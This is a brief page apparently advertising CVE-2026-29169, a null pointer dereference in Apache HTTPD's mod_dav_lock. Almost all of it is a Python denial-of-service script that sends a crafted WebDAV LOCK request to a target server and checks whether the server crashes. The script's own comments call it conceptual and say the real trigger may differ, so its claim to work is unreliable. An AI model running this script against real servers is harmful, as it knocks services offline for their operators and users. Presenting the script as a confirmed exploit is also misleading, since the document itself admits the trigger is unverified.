CVE-2026-29169 Apache HTTPD空指针解引用漏洞

import requests # Target URL that uses WebDAV and has mod_dav_lock enabled target_url = "http://example.com/webdav/" # Attempt to trigger the NULL pointer dereference # The exact trigger might require specific headers or body structure # This is a conceptual PoC demonstrating a potential malicious request headers = { "Content-Type": "application/xml", "Depth": "0" } # Malicious payload designed to crash the mod_dav_lock module # This payload attempts to interact with lock mechanisms in a way that exposes the flaw data = """<?xml version="1.0" encoding="utf-8" ?> <D:lockinfo xmlns:D="DAV:"> <D:locktype><D:write/></D:locktype> <D:lockscope><D:exclusive/></D:lockscope> <D:owner> <D:href>http://malicious.example.com/</D:href> </D:owner> </D:lockinfo> """ try: print("Sending malicious request to {}...".format(target_url)) # Using LOCK method as it is related to mod_dav_lock functionality response = requests.request("LOCK", target_url, headers=headers, data=data, timeout=5) # If the server crashes, no response or a 500 error might be observed print("Response Status Code: {}".format(response.status_code)) except requests.exceptions.RequestException as e: print("Connection failed or timed out. Server might have crashed (DoS).") print("Error: {}".format(e))